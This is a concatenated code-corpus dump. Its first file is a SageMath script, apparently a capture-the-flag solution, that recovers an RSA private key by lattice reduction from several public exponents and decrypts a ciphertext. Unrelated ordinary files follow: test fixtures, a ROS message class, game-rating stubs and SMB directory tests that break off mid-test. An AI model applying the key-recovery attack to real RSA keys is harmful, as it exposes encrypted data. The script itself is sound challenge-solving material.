_sage_const_977911319972651723394571328718522684839233818822987291339342522169785960745026126065828171663817098096802815878902198077029945858855452998609277456106194388819262956948062693982275761329872056054857859232410277612711142700816736355176841064088554319372770630155715384207807030711333354763745992705118120370569460710155977842815890921315491899909670843778015790583691632043993431476520040474179224148193231997414071665994798409600593324091379931314280308037578462983918490074229956220561677028253942457235006713182547923616926990304799750998947455658072553806135348762275048940937102270212197438343232803386980600199 = Integer(977911319972651723394571328718522684839233818822987291339342522169785960745026126065828171663817098096802815878902198077029945858855452998609277456106194388819262956948062693982275761329872056054857859232410277612711142700816736355176841064088554319372770630155715384207807030711333354763745992705118120370569460710155977842815890921315491899909670843778015790583691632043993431476520040474179224148193231997414071665994798409600593324091379931314280308037578462983918490074229956220561677028253942457235006713182547923616926990304799750998947455658072553806135348762275048940937102270212197438343232803386980600199); _sage_const_559926877538901855278709098896162376244891138092491748881646434257041034310608383824407908074527674643899150895417313223110172168262601307071421399851733600345246010968366031770769952148466575159479327201407370870373866834887618577577208326983314970874299883828509623859285236698607654392197001359543187659277514383894861161291255994103416260263908568346256404585813409981064816508457745463277226433109583627383451707715853470546862943671380153218903698760690215786348972308030107405803386360872526435918433010695648728609011716822060677651971222925334030992502934274269358900515685347824060069702996792263218410141 = Integer(559926877538901855278709098896162376244891138092491748881646434257041034310608383824407908074527674643899150895417313223110172168262601307071421399851733600345246010968366031770769952148466575159479327201407370870373866834887618577577208326983314970874299883828509623859285236698607654392197001359543187659277514383894861161291255994103416260263908568346256404585813409981064816508457745463277226433109583627383451707715853470546862943671380153218903698760690215786348972308030107405803386360872526435918433010695648728609011716822060677651971222925334030992502934274269358900515685347824060069702996792263218410141); _sage_const_1306404425022786271861712376312227231552124703867069879929901082879590329712646841443187584387062880868763681811151633406488565216662438202954203241832546481831672169351320530897609760536461880974100913848321066609914696142148451258661558034664208629457074290198874188404392722618650477272549474176737297639391121777399834751032698170461874404735298259292915012795056598770703384560299787009329290972427164924620081023359665839557541169147316521214789391267972983251818403995447818247440728403270006177653413374374454715842733972395479437016747743514743563369659891600826890121796921748619451887714168425727577340049 = Integer(1306404425022786271861712376312227231552124703867069879929901082879590329712646841443187584387062880868763681811151633406488565216662438202954203241832546481831672169351320530897609760536461880974100913848321066609914696142148451258661558034664208629457074290198874188404392722618650477272549474176737297639391121777399834751032698170461874404735298259292915012795056598770703384560299787009329290972427164924620081023359665839557541169147316521214789391267972983251818403995447818247440728403270006177653413374374454715842733972395479437016747743514743563369659891600826890121796921748619451887714168425727577340049); _sage_const_0 = Integer(0); _sage_const_1 = Integer(1); _sage_const_2 = Integer(2); _sage_const_0p395 = RealNumber('0.395'); _sage_const_3 = Integer(3); _sage_const_65537 = Integer(65537) from Crypto.Util.number import long_to_bytes import gmpy2 # # Different parameters for each team # N = 14922959775784066499316528935316325825140011208871830627653191549546959775167708525042423039865322548420928571524120743831693550123563493981797950912895893476200447083386549353336086899064921878582074346791320104106139965010480614879592357793053342577850761108944086318475849882440272688246818022209356852924215237481460229377544297224983887026669222885987323082324044645883070916243439521809702674295469253723616677245762242494478587807402688474176102093482019417118703747411862420536240611089529331148684440513934609412884941091651594861530606086982174862461739604705354416587503836130151492937714365614194583664241 # e2 = 27188825731727584656624712988703151030126350536157477591935558508817722580343689565924329442151239649607993377452763119541243174650065563589438911911135278704499670302489754540301886312489410648471922645773506837251600244109619850141762795901696503387880058658061490595034281884089265487336373011424883404499124002441860870291233875045675212355287622948427109362925199018383535259913549859747158348931847041907910313465531703810313472674435425886505383646969400166213185676876969805238803587967334447878968225219769481841748776108219650785975942208190380614555719233460250841332020054797811415069533137170950762289 # e1 = 114552459553730357961013268333698879659007919035942930313432809776799669181481660306531243618160127922304264986001501784564575128319884991774542682853466808329973362019677284072646678280051091964555611220961719302320547405880386113519147076299481594997799884384012548506240748042365643212774215730304047871679706035596550898944580314923260982768858133395187777029914150064371998328788068888440803565964567662563652062845388379897799506439389461619422933318625765603423604615137217375612091221578339493263160670355032898186792479034771118678394464854413824347305505135625135428816394053078365603937337271798774138959 # c = 6472367338832635906896423990323542537663849304314171581554107495210830026660211696089062916158894195561723047864604633460433867838687338370676287160274165915800235253640690510046066541445140501917731026596427080558567366267665887665459901724487706983166070740324307268574128474775026837827907818762764766069631267853742422247229582756256253175941899099898884656334598790711379305490419932664114615010382094572854799421891622789614614720442708271653376485660139560819668239118588069312179293488684403404385715780406937817124588773689921642802703005341324008483201528345805611493251791950304129082313093168732415486813 c = _sage_const_8634199943296266475661694936017797245643751574377300702352556698923010846293195618475931386615270566178369671247793107594356541948964368726568708230319186988913696138400127564811132791236599834089885854076690263057534834835449605382639029368521956753682831912247745557625558315338427219091935188588303976619473720984938018512720749790101691789367840457806658319810844865267910935154626575220525191686503490303606772840181902374949090928479931214664359010094218789662306484000672754511863044300205945846244848169672310913442059177294181486468799409873093284267766706986492607452210174334940756036650337736844394789495 N = _sage_const_12901756511557359459621054599419970335607988670582154586781205445748574407546618457098103159759328515721549039134014014073709913358229236019318189779818263730049449609355323855082266380391015183886428125925985343445384430401311570859272506454200233455063271055549547787458600678939380630979924929901900873350761446538288165222899228547734019705071658914556199926875965160081841955409321412403297397976671464079113812960712232880728456020030552116088590712831093055816879053205775173702025585694098709855246718301238931312541326436602594881624659659457608825023680534566306520148778474705123992253089763243470479950233 elist = [_sage_const_977911319972651723394571328718522684839233818822987291339342522169785960745026126065828171663817098096802815878902198077029945858855452998609277456106194388819262956948062693982275761329872056054857859232410277612711142700816736355176841064088554319372770630155715384207807030711333354763745992705118120370569460710155977842815890921315491899909670843778015790583691632043993431476520040474179224148193231997414071665994798409600593324091379931314280308037578462983918490074229956220561677028253942457235006713182547923616926990304799750998947455658072553806135348762275048940937102270212197438343232803386980600199 , _sage_const_559926877538901855278709098896162376244891138092491748881646434257041034310608383824407908074527674643899150895417313223110172168262601307071421399851733600345246010968366031770769952148466575159479327201407370870373866834887618577577208326983314970874299883828509623859285236698607654392197001359543187659277514383894861161291255994103416260263908568346256404585813409981064816508457745463277226433109583627383451707715853470546862943671380153218903698760690215786348972308030107405803386360872526435918433010695648728609011716822060677651971222925334030992502934274269358900515685347824060069702996792263218410141 , _sage_const_1306404425022786271861712376312227231552124703867069879929901082879590329712646841443187584387062880868763681811151633406488565216662438202954203241832546481831672169351320530897609760536461880974100913848321066609914696142148451258661558034664208629457074290198874188404392722618650477272549474176737297639391121777399834751032698170461874404735298259292915012795056598770703384560299787009329290972427164924620081023359665839557541169147316521214789391267972983251818403995447818247440728403270006177653413374374454715842733972395479437016747743514743563369659891600826890121796921748619451887714168425727577340049 ] e1,e2,e3 = elist[_sage_const_0 ],elist[_sage_const_1 ],elist[_sage_const_2 ] a = _sage_const_0p395 # M1 = N**0.5 # M2 = N**(1+a) # D = diagonal_matrix(ZZ, [N, M1, M2, 1]) D = diagonal_matrix(ZZ, [int(N**(_sage_const_3 /_sage_const_2 )), N, int(N**(_sage_const_3 /_sage_const_2 +a)), int(N**(_sage_const_1 /_sage_const_2 )), int(N**(_sage_const_3 /_sage_const_2 +a)), int(N**(_sage_const_1 +a)), int(N**(_sage_const_1 +a)), _sage_const_1 ]) ''' B = Matrix(ZZ, [[1, -N, 0, N**2], [0, e1, -e1, -e1*N], [0, 0, e2, -e2*N], [0, 0, 0, e1*e2]]) * D ''' B = Matrix(ZZ, [[_sage_const_1 , -N, _sage_const_0 , N**_sage_const_2 , _sage_const_0 , _sage_const_0 , _sage_const_0 , -N**_sage_const_3 ], [_sage_const_0 , e1, -e1, -e1*N, -e1, _sage_const_0 , e1*N, e1*N**_sage_const_2 ], [_sage_const_0 , _sage_const_0 , e2, -e2*N, _sage_const_0 , e2*N, _sage_const_0 , e2*N**_sage_const_2 ], [_sage_const_0 , _sage_const_0 , _sage_const_0 , e1*e2, _sage_const_0 , -e1*e2, -e1*e2, -e1*e2*N], [_sage_const_0 , _sage_const_0 , _sage_const_0 , _sage_const_0 , e3, -e3*N, -e3*N, e3*N**_sage_const_2 ], [_sage_const_0 , _sage_const_0 , _sage_const_0 , _sage_const_0 , _sage_const_0 , e1*e3, _sage_const_0 , -e1*e3*N], [_sage_const_0 , _sage_const_0 , _sage_const_0 , _sage_const_0 , _sage_const_0 , _sage_const_0 , e2*e3, -e2*e3*N], [_sage_const_0 , _sage_const_0 , _sage_const_0 , _sage_const_0 , _sage_const_0 , _sage_const_0 , _sage_const_0 , e1*e2*e3]]) * D L = B.LLL() v = Matrix(ZZ, L[_sage_const_0 ]) x = v * B**(-_sage_const_1 ) phi = int(x[_sage_const_0 ,_sage_const_1 ]/x[_sage_const_0 ,_sage_const_0 ]*e1) d = inverse_mod(_sage_const_65537 , phi) print(long_to_bytes(pow(c,d,N)))

318.666667

6,475

0.93166

462

14,340

28.372294

0.158009

0.055615

0.032804

0.026701

0.048062

0.044553

0.040662

0.037458

0.035627

0.033491

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0.862995

0.041562

14,340

44

6,476

325.909091

0.090731

0.188075

0

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0.000436

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false

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1

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null

1

0

7

257cca49f9554a5b3a4a27553bed4858d0fcdf38

167

py

Python

tests/conftest.py

mircealungu/automatic-monitoring-for-flask

76417580898db6ef749b3925946fa5059132ebf6

[ "MIT" ]

630

2018-03-03T23:52:07.000Z

2022-03-30T10:55:46.000Z

tests/conftest.py

mircealungu/automatic-monitoring-for-flask

76417580898db6ef749b3925946fa5059132ebf6

[ "MIT" ]

292

2018-03-05T11:27:57.000Z

2022-03-28T23:05:48.000Z

tests/conftest.py

mircealungu/automatic-monitoring-for-flask

76417580898db6ef749b3925946fa5059132ebf6

[ "MIT" ]

146

2018-03-22T09:53:36.000Z

2022-02-03T08:13:50.000Z

"""Import all fixtures here.""" from tests.fixtures.dashboard import * # noqa from tests.fixtures.database import * # noqa from tests.fixtures.models import * # noqa

27.833333

45

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167

5.681818

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0.408

0.304

0.432

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0.137725

167

5

46

33.4

0.868056

0.245509

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1

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1

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8

2599abbc6915e25a5b7675b052f4a9ff6b8090a0

3,898

py

Python

alpyro_msgs/visualization_msgs/interactivemarkerinit.py

rho2/alpyro_msgs

b5a680976c40c83df70d61bb2db1de32a1cde8d3

[ "MIT" ]

1

2020-12-13T13:07:10.000Z

alpyro_msgs/visualization_msgs/interactivemarkerinit.py

rho2/alpyro_msgs

b5a680976c40c83df70d61bb2db1de32a1cde8d3

[ "MIT" ]

null

alpyro_msgs/visualization_msgs/interactivemarkerinit.py

rho2/alpyro_msgs

b5a680976c40c83df70d61bb2db1de32a1cde8d3

[ "MIT" ]

null

from typing import List from typing_extensions import Annotated from typing import Final from alpyro_msgs import RosMessage, string, uint64 from alpyro_msgs.visualization_msgs.interactivemarker import InteractiveMarker class InteractiveMarkerInit(RosMessage): __msg_typ__ = "visualization_msgs/InteractiveMarkerInit" __msg_def__ = "c3RyaW5nIHNlcnZlcl9pZAp1aW50NjQgc2VxX251bQp2aXN1YWxpemF0aW9uX21zZ3MvSW50ZXJhY3RpdmVNYXJrZXJbXSBtYXJrZXJzCiAgc3RkX21zZ3MvSGVhZGVyIGhlYWRlcgogICAgdWludDMyIHNlcQogICAgdGltZSBzdGFtcAogICAgc3RyaW5nIGZyYW1lX2lkCiAgZ2VvbWV0cnlfbXNncy9Qb3NlIHBvc2UKICAgIGdlb21ldHJ5X21zZ3MvUG9pbnQgcG9zaXRpb24KICAgICAgZmxvYXQ2NCB4CiAgICAgIGZsb2F0NjQgeQogICAgICBmbG9hdDY0IHoKICAgIGdlb21ldHJ5X21zZ3MvUXVhdGVybmlvbiBvcmllbnRhdGlvbgogICAgICBmbG9hdDY0IHgKICAgICAgZmxvYXQ2NCB5CiAgICAgIGZsb2F0NjQgegogICAgICBmbG9hdDY0IHcKICBzdHJpbmcgbmFtZQogIHN0cmluZyBkZXNjcmlwdGlvbgogIGZsb2F0MzIgc2NhbGUKICB2aXN1YWxpemF0aW9uX21zZ3MvTWVudUVudHJ5W10gbWVudV9lbnRyaWVzCiAgICB1aW50OCBGRUVEQkFDSz0wCiAgICB1aW50OCBST1NSVU49MQogICAgdWludDggUk9TTEFVTkNIPTIKICAgIHVpbnQzMiBpZAogICAgdWludDMyIHBhcmVudF9pZAogICAgc3RyaW5nIHRpdGxlCiAgICBzdHJpbmcgY29tbWFuZAogICAgdWludDggY29tbWFuZF90eXBlCiAgdmlzdWFsaXphdGlvbl9tc2dzL0ludGVyYWN0aXZlTWFya2VyQ29udHJvbFtdIGNvbnRyb2xzCiAgICB1aW50OCBJTkhFUklUPTAKICAgIHVpbnQ4IEZJWEVEPTEKICAgIHVpbnQ4IFZJRVdfRkFDSU5HPTIKICAgIHVpbnQ4IE5PTkU9MAogICAgdWludDggTUVOVT0xCiAgICB1aW50OCBCVVRUT049MgogICAgdWludDggTU9WRV9BWElTPTMKICAgIHVpbnQ4IE1PVkVfUExBTkU9NAogICAgdWludDggUk9UQVRFX0FYSVM9NQogICAgdWludDggTU9WRV9ST1RBVEU9NgogICAgdWludDggTU9WRV8zRD03CiAgICB1aW50OCBST1RBVEVfM0Q9OAogICAgdWludDggTU9WRV9ST1RBVEVfM0Q9OQogICAgc3RyaW5nIG5hbWUKICAgIGdlb21ldHJ5X21zZ3MvUXVhdGVybmlvbiBvcmllbnRhdGlvbgogICAgICBmbG9hdDY0IHgKICAgICAgZmxvYXQ2NCB5CiAgICAgIGZsb2F0NjQgegogICAgICBmbG9hdDY0IHcKICAgIHVpbnQ4IG9yaWVudGF0aW9uX21vZGUKICAgIHVpbnQ4IGludGVyYWN0aW9uX21vZGUKICAgIGJvb2wgYWx3YXlzX3Zpc2libGUKICAgIHZpc3VhbGl6YXRpb25fbXNncy9NYXJrZXJbXSBtYXJrZXJzCiAgICAgIHVpbnQ4IEFSUk9XPTAKICAgICAgdWludDggQ1VCRT0xCiAgICAgIHVpbnQ4IFNQSEVSRT0yCiAgICAgIHVpbnQ4IENZTElOREVSPTMKICAgICAgdWludDggTElORV9TVFJJUD00CiAgICAgIHVpbnQ4IExJTkVfTElTVD01CiAgICAgIHVpbnQ4IENVQkVfTElTVD02CiAgICAgIHVpbnQ4IFNQSEVSRV9MSVNUPTcKICAgICAgdWludDggUE9JTlRTPTgKICAgICAgdWludDggVEVYVF9WSUVXX0ZBQ0lORz05CiAgICAgIHVpbnQ4IE1FU0hfUkVTT1VSQ0U9MTAKICAgICAgdWludDggVFJJQU5HTEVfTElTVD0xMQogICAgICB1aW50OCBBREQ9MAogICAgICB1aW50OCBNT0RJRlk9MAogICAgICB1aW50OCBERUxFVEU9MgogICAgICB1aW50OCBERUxFVEVBTEw9MwogICAgICBzdGRfbXNncy9IZWFkZXIgaGVhZGVyCiAgICAgICAgdWludDMyIHNlcQogICAgICAgIHRpbWUgc3RhbXAKICAgICAgICBzdHJpbmcgZnJhbWVfaWQKICAgICAgc3RyaW5nIG5zCiAgICAgIGludDMyIGlkCiAgICAgIGludDMyIHR5cGUKICAgICAgaW50MzIgYWN0aW9uCiAgICAgIGdlb21ldHJ5X21zZ3MvUG9zZSBwb3NlCiAgICAgICAgZ2VvbWV0cnlfbXNncy9Qb2ludCBwb3NpdGlvbgogICAgICAgICAgZmxvYXQ2NCB4CiAgICAgICAgICBmbG9hdDY0IHkKICAgICAgICAgIGZsb2F0NjQgegogICAgICAgIGdlb21ldHJ5X21zZ3MvUXVhdGVybmlvbiBvcmllbnRhdGlvbgogICAgICAgICAgZmxvYXQ2NCB4CiAgICAgICAgICBmbG9hdDY0IHkKICAgICAgICAgIGZsb2F0NjQgegogICAgICAgICAgZmxvYXQ2NCB3CiAgICAgIGdlb21ldHJ5X21zZ3MvVmVjdG9yMyBzY2FsZQogICAgICAgIGZsb2F0NjQgeAogICAgICAgIGZsb2F0NjQgeQogICAgICAgIGZsb2F0NjQgegogICAgICBzdGRfbXNncy9Db2xvclJHQkEgY29sb3IKICAgICAgICBmbG9hdDMyIHIKICAgICAgICBmbG9hdDMyIGcKICAgICAgICBmbG9hdDMyIGIKICAgICAgICBmbG9hdDMyIGEKICAgICAgZHVyYXRpb24gbGlmZXRpbWUKICAgICAgYm9vbCBmcmFtZV9sb2NrZWQKICAgICAgZ2VvbWV0cnlfbXNncy9Qb2ludFtdIHBvaW50cwogICAgICAgIGZsb2F0NjQgeAogICAgICAgIGZsb2F0NjQgeQogICAgICAgIGZsb2F0NjQgegogICAgICBzdGRfbXNncy9Db2xvclJHQkFbXSBjb2xvcnMKICAgICAgICBmbG9hdDMyIHIKICAgICAgICBmbG9hdDMyIGcKICAgICAgICBmbG9hdDMyIGIKICAgICAgICBmbG9hdDMyIGEKICAgICAgc3RyaW5nIHRleHQKICAgICAgc3RyaW5nIG1lc2hfcmVzb3VyY2UKICAgICAgYm9vbCBtZXNoX3VzZV9lbWJlZGRlZF9tYXRlcmlhbHMKICAgIGJvb2wgaW5kZXBlbmRlbnRfbWFya2VyX29yaWVudGF0aW9uCiAgICBzdHJpbmcgZGVzY3JpcHRpb24KCg==" __md5_sum__ = "d5f2c5045a72456d228676ab91048734" server_id: string seq_num: uint64 markers: Annotated[List[InteractiveMarker], 0, 0]

243.625

3,434

0.97845

54

3,898

70.222222

0.537037

0.007911

0.008439

0

0.098647

0.014366

3,898

15

3,435

259.866667

0.888339

0

0.894818

0

1

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1

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false

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0.416667

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null

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null

1

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1

0

1

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8

25a1646b318b63917f8167f51d6f45d31059d576

275

py

Python

GuiBuilder/STARTUP/Install/__init__.py

lon3wolf/MyPyBuilder

5823ae9e5fcd2d745a70425c37a3aaa432c0389d

[ "MIT" ]

237

2019-09-28T03:21:19.000Z

2022-03-19T22:41:04.000Z

GuiBuilder/STARTUP/Install/__init__.py

pr1malHunter/MyPyBuilder

5823ae9e5fcd2d745a70425c37a3aaa432c0389d

[ "MIT" ]

3

2019-09-29T08:35:53.000Z

2020-09-13T18:00:07.000Z

GuiBuilder/STARTUP/Install/__init__.py

pr1malHunter/MyPyBuilder

5823ae9e5fcd2d745a70425c37a3aaa432c0389d

[ "MIT" ]

29

2019-09-28T13:52:45.000Z

2022-01-06T01:25:45.000Z

from GuiBuilder.STARTUP.Install.CreateProjects import InstallProjects from GuiBuilder.STARTUP.Install.CreateSettings import InstallSettings from GuiBuilder.STARTUP.Install.LoadSettings import SettingsLoader from GuiBuilder.STARTUP.Install.DeleteProjects import DeleteProject

55

69

0.898182

28

275

8.821429

0.464286

0.226721

0.340081

0.453441

0

0.058182

275

4

70

68.75

0.953668

0

1

0

true

0

1

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1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

8

25adc54c2c73022f912840424407a526dbe4c6ba

6,269

py

Python

loldib/getratings/models/NA/na_fizz/na_fizz_sup.py

koliupy/loldib

c9ab94deb07213cdc42b5a7c26467cdafaf81b7f

[ "Apache-2.0" ]

null

loldib/getratings/models/NA/na_fizz/na_fizz_sup.py

koliupy/loldib

c9ab94deb07213cdc42b5a7c26467cdafaf81b7f

[ "Apache-2.0" ]

null

loldib/getratings/models/NA/na_fizz/na_fizz_sup.py

koliupy/loldib

c9ab94deb07213cdc42b5a7c26467cdafaf81b7f

[ "Apache-2.0" ]

null

from getratings.models.ratings import Ratings class NA_Fizz_Sup_Aatrox(Ratings): pass class NA_Fizz_Sup_Ahri(Ratings): pass class NA_Fizz_Sup_Akali(Ratings): pass class NA_Fizz_Sup_Alistar(Ratings): pass class NA_Fizz_Sup_Amumu(Ratings): pass class NA_Fizz_Sup_Anivia(Ratings): pass class NA_Fizz_Sup_Annie(Ratings): pass class NA_Fizz_Sup_Ashe(Ratings): pass class NA_Fizz_Sup_AurelionSol(Ratings): pass class NA_Fizz_Sup_Azir(Ratings): pass class NA_Fizz_Sup_Bard(Ratings): pass class NA_Fizz_Sup_Blitzcrank(Ratings): pass class NA_Fizz_Sup_Brand(Ratings): pass class NA_Fizz_Sup_Braum(Ratings): pass class NA_Fizz_Sup_Caitlyn(Ratings): pass class NA_Fizz_Sup_Camille(Ratings): pass class NA_Fizz_Sup_Cassiopeia(Ratings): pass class NA_Fizz_Sup_Chogath(Ratings): pass class NA_Fizz_Sup_Corki(Ratings): pass class NA_Fizz_Sup_Darius(Ratings): pass class NA_Fizz_Sup_Diana(Ratings): pass class NA_Fizz_Sup_Draven(Ratings): pass class NA_Fizz_Sup_DrMundo(Ratings): pass class NA_Fizz_Sup_Ekko(Ratings): pass class NA_Fizz_Sup_Elise(Ratings): pass class NA_Fizz_Sup_Evelynn(Ratings): pass class NA_Fizz_Sup_Ezreal(Ratings): pass class NA_Fizz_Sup_Fiddlesticks(Ratings): pass class NA_Fizz_Sup_Fiora(Ratings): pass class NA_Fizz_Sup_Fizz(Ratings): pass class NA_Fizz_Sup_Galio(Ratings): pass class NA_Fizz_Sup_Gangplank(Ratings): pass class NA_Fizz_Sup_Garen(Ratings): pass class NA_Fizz_Sup_Gnar(Ratings): pass class NA_Fizz_Sup_Gragas(Ratings): pass class NA_Fizz_Sup_Graves(Ratings): pass class NA_Fizz_Sup_Hecarim(Ratings): pass class NA_Fizz_Sup_Heimerdinger(Ratings): pass class NA_Fizz_Sup_Illaoi(Ratings): pass class NA_Fizz_Sup_Irelia(Ratings): pass class NA_Fizz_Sup_Ivern(Ratings): pass class NA_Fizz_Sup_Janna(Ratings): pass class NA_Fizz_Sup_JarvanIV(Ratings): pass class NA_Fizz_Sup_Jax(Ratings): pass class NA_Fizz_Sup_Jayce(Ratings): pass class NA_Fizz_Sup_Jhin(Ratings): pass class NA_Fizz_Sup_Jinx(Ratings): pass class NA_Fizz_Sup_Kalista(Ratings): pass class NA_Fizz_Sup_Karma(Ratings): pass class NA_Fizz_Sup_Karthus(Ratings): pass class NA_Fizz_Sup_Kassadin(Ratings): pass class NA_Fizz_Sup_Katarina(Ratings): pass class NA_Fizz_Sup_Kayle(Ratings): pass class NA_Fizz_Sup_Kayn(Ratings): pass class NA_Fizz_Sup_Kennen(Ratings): pass class NA_Fizz_Sup_Khazix(Ratings): pass class NA_Fizz_Sup_Kindred(Ratings): pass class NA_Fizz_Sup_Kled(Ratings): pass class NA_Fizz_Sup_KogMaw(Ratings): pass class NA_Fizz_Sup_Leblanc(Ratings): pass class NA_Fizz_Sup_LeeSin(Ratings): pass class NA_Fizz_Sup_Leona(Ratings): pass class NA_Fizz_Sup_Lissandra(Ratings): pass class NA_Fizz_Sup_Lucian(Ratings): pass class NA_Fizz_Sup_Lulu(Ratings): pass class NA_Fizz_Sup_Lux(Ratings): pass class NA_Fizz_Sup_Malphite(Ratings): pass class NA_Fizz_Sup_Malzahar(Ratings): pass class NA_Fizz_Sup_Maokai(Ratings): pass class NA_Fizz_Sup_MasterYi(Ratings): pass class NA_Fizz_Sup_MissFortune(Ratings): pass class NA_Fizz_Sup_MonkeyKing(Ratings): pass class NA_Fizz_Sup_Mordekaiser(Ratings): pass class NA_Fizz_Sup_Morgana(Ratings): pass class NA_Fizz_Sup_Nami(Ratings): pass class NA_Fizz_Sup_Nasus(Ratings): pass class NA_Fizz_Sup_Nautilus(Ratings): pass class NA_Fizz_Sup_Nidalee(Ratings): pass class NA_Fizz_Sup_Nocturne(Ratings): pass class NA_Fizz_Sup_Nunu(Ratings): pass class NA_Fizz_Sup_Olaf(Ratings): pass class NA_Fizz_Sup_Orianna(Ratings): pass class NA_Fizz_Sup_Ornn(Ratings): pass class NA_Fizz_Sup_Pantheon(Ratings): pass class NA_Fizz_Sup_Poppy(Ratings): pass class NA_Fizz_Sup_Quinn(Ratings): pass class NA_Fizz_Sup_Rakan(Ratings): pass class NA_Fizz_Sup_Rammus(Ratings): pass class NA_Fizz_Sup_RekSai(Ratings): pass class NA_Fizz_Sup_Renekton(Ratings): pass class NA_Fizz_Sup_Rengar(Ratings): pass class NA_Fizz_Sup_Riven(Ratings): pass class NA_Fizz_Sup_Rumble(Ratings): pass class NA_Fizz_Sup_Ryze(Ratings): pass class NA_Fizz_Sup_Sejuani(Ratings): pass class NA_Fizz_Sup_Shaco(Ratings): pass class NA_Fizz_Sup_Shen(Ratings): pass class NA_Fizz_Sup_Shyvana(Ratings): pass class NA_Fizz_Sup_Singed(Ratings): pass class NA_Fizz_Sup_Sion(Ratings): pass class NA_Fizz_Sup_Sivir(Ratings): pass class NA_Fizz_Sup_Skarner(Ratings): pass class NA_Fizz_Sup_Sona(Ratings): pass class NA_Fizz_Sup_Soraka(Ratings): pass class NA_Fizz_Sup_Swain(Ratings): pass class NA_Fizz_Sup_Syndra(Ratings): pass class NA_Fizz_Sup_TahmKench(Ratings): pass class NA_Fizz_Sup_Taliyah(Ratings): pass class NA_Fizz_Sup_Talon(Ratings): pass class NA_Fizz_Sup_Taric(Ratings): pass class NA_Fizz_Sup_Teemo(Ratings): pass class NA_Fizz_Sup_Thresh(Ratings): pass class NA_Fizz_Sup_Tristana(Ratings): pass class NA_Fizz_Sup_Trundle(Ratings): pass class NA_Fizz_Sup_Tryndamere(Ratings): pass class NA_Fizz_Sup_TwistedFate(Ratings): pass class NA_Fizz_Sup_Twitch(Ratings): pass class NA_Fizz_Sup_Udyr(Ratings): pass class NA_Fizz_Sup_Urgot(Ratings): pass class NA_Fizz_Sup_Varus(Ratings): pass class NA_Fizz_Sup_Vayne(Ratings): pass class NA_Fizz_Sup_Veigar(Ratings): pass class NA_Fizz_Sup_Velkoz(Ratings): pass class NA_Fizz_Sup_Vi(Ratings): pass class NA_Fizz_Sup_Viktor(Ratings): pass class NA_Fizz_Sup_Vladimir(Ratings): pass class NA_Fizz_Sup_Volibear(Ratings): pass class NA_Fizz_Sup_Warwick(Ratings): pass class NA_Fizz_Sup_Xayah(Ratings): pass class NA_Fizz_Sup_Xerath(Ratings): pass class NA_Fizz_Sup_XinZhao(Ratings): pass class NA_Fizz_Sup_Yasuo(Ratings): pass class NA_Fizz_Sup_Yorick(Ratings): pass class NA_Fizz_Sup_Zac(Ratings): pass class NA_Fizz_Sup_Zed(Ratings): pass class NA_Fizz_Sup_Ziggs(Ratings): pass class NA_Fizz_Sup_Zilean(Ratings): pass class NA_Fizz_Sup_Zyra(Ratings): pass

15.033573

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1

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null

0

1

0

1

0

7

25b65af0ea0f031ca02890a004a362312849c118

19,540

py

Python

test/create_open_dir_additional.py

abhilashabhardwaj/pike

a1ad05b37231d8ac0a0442ab8d32a363e75ada9a

[ "Apache-2.0" ]

null

test/create_open_dir_additional.py

abhilashabhardwaj/pike

a1ad05b37231d8ac0a0442ab8d32a363e75ada9a

[ "Apache-2.0" ]

null

test/create_open_dir_additional.py

abhilashabhardwaj/pike

a1ad05b37231d8ac0a0442ab8d32a363e75ada9a

[ "Apache-2.0" ]

null

# # Copyright (C) EMC Corporation. All rights reserved. # # Module Name: # # create_dir_open_additional.py # # Abstract: # # Directory open tests: Directories which are created on the share have to be deleted before test execution otherwise # it will result in STATUS_OBJECT_NAME_COLLISION. # # Authors: Prayas Gupta (prayas.gupta@calsoftinc.com) # from pike.smb2 import * import pike.test import utils import unittest import pike.model class directory_open(pike.test.PikeTest): def test_01_open_directory_with_file_list_directory(self): try: print "\n--------------------Open_Directory_TC 01 --------------------" print "Test case to list the contents of the directory with FILE_LIST_DIRECTORY permission.\n" expected_status = "STATUS_SUCCESS" print "Expected status: ", expected_status print "Creating session and tree connect..." chan, tree = self.tree_connect() print "Session setup and Tree connect is successful." print "Open a directory named Directory_open1 with FILE_LIST_DIRECTORY permission:" directory_handle =chan.create(tree,"Directory_open1",access = pike.smb2.FILE_LIST_DIRECTORY|pike.smb2.FILE_ADD_FILE,disposition = pike.smb2.FILE_OPEN_IF,options=pike.smb2.FILE_DIRECTORY_FILE ).result() print "Directory created." print "Create a normal file inside Directory_open1 with the name Child_file:" file_handle = chan.create(tree,"Directory_open1\Child_file",access = pike.smb2.FILE_READ_DATA,disposition = pike.smb2.FILE_CREATE,options=pike.smb2.FILE_NON_DIRECTORY_FILE ).result() print "File created inside Directory_open1 directory." print "Close the file handle:" chan.close(file_handle) print "Child_file handle closed." print "Verify whether Child_file is present inside the Directory_open1 directory:" names = map(lambda res: res.file_name,chan.query_directory(directory_handle)) self.assertIn("Child_file", names) print "Listing the contents of the directory completed" actual_status = "STATUS_SUCCESS" print "Close the directory handle:" chan.close(directory_handle) print "Directory_open1 handle closed." except Exception as e: actual_status = str(e) print "Actual status: ",actual_status self.assertIn(expected_status,actual_status) print "TC 01 Passed" def test_02_open_directory_without_file_list_directory(self): try: print "\n--------------------Open_Directory_TC 02 --------------------" print "Test case to list the contents of the directory without FILE_LIST_DIRECTORY permission.\n" expected_status = "STATUS_ACCESS_DENIED" print "Expected status: ", expected_status print "Creating session and tree connect..." chan, tree = self.tree_connect() print "Session setup and Tree connect is successful." print "Open a directory named Directory_open2 without FILE_LIST_DIRECTORY permission:" directory_handle =chan.create(tree,"Directory_open2",access = pike.smb2.FILE_WRITE_DATA,disposition = pike.smb2.FILE_OPEN_IF,options=pike.smb2.FILE_DIRECTORY_FILE ).result() print "Directory created." print "Create a normal file inside Directory_open2 with the name Child_file:" file_handle = chan.create(tree,"Directory_open2\Child_file",access = pike.smb2.FILE_READ_ATTRIBUTES,disposition = pike.smb2.FILE_CREATE,options=pike.smb2.FILE_NON_DIRECTORY_FILE ).result() print "File created inside Directory_open2 directory." print "Close the file handle:" chan.close(file_handle) print "Child_file handle closed." print "Verify whether Child_file is present inside the Directory_open2 directory:" names = map(lambda res: res.file_name,chan.query_directory(directory_handle)) self.assertIn("Child_file", names) print "Listing the contents of the directory completed" actual_status = "STATUS_SUCCESS" print "Close the directory handle:" chan.close(directory_handle) print "Directory_open2 handle closed." except Exception as e: actual_status = str(e) print "Actual status: ",actual_status self.assertIn(expected_status,actual_status) print "TC 02 Passed" def test_03_open_Child_directory_without_file_list_directory(self): try: print "\n--------------------Open_Directory_TC 03 --------------------" print "Test case to list the contents of the child directory without FILE_LIST_DIRECTORY permission\n." expected_status = 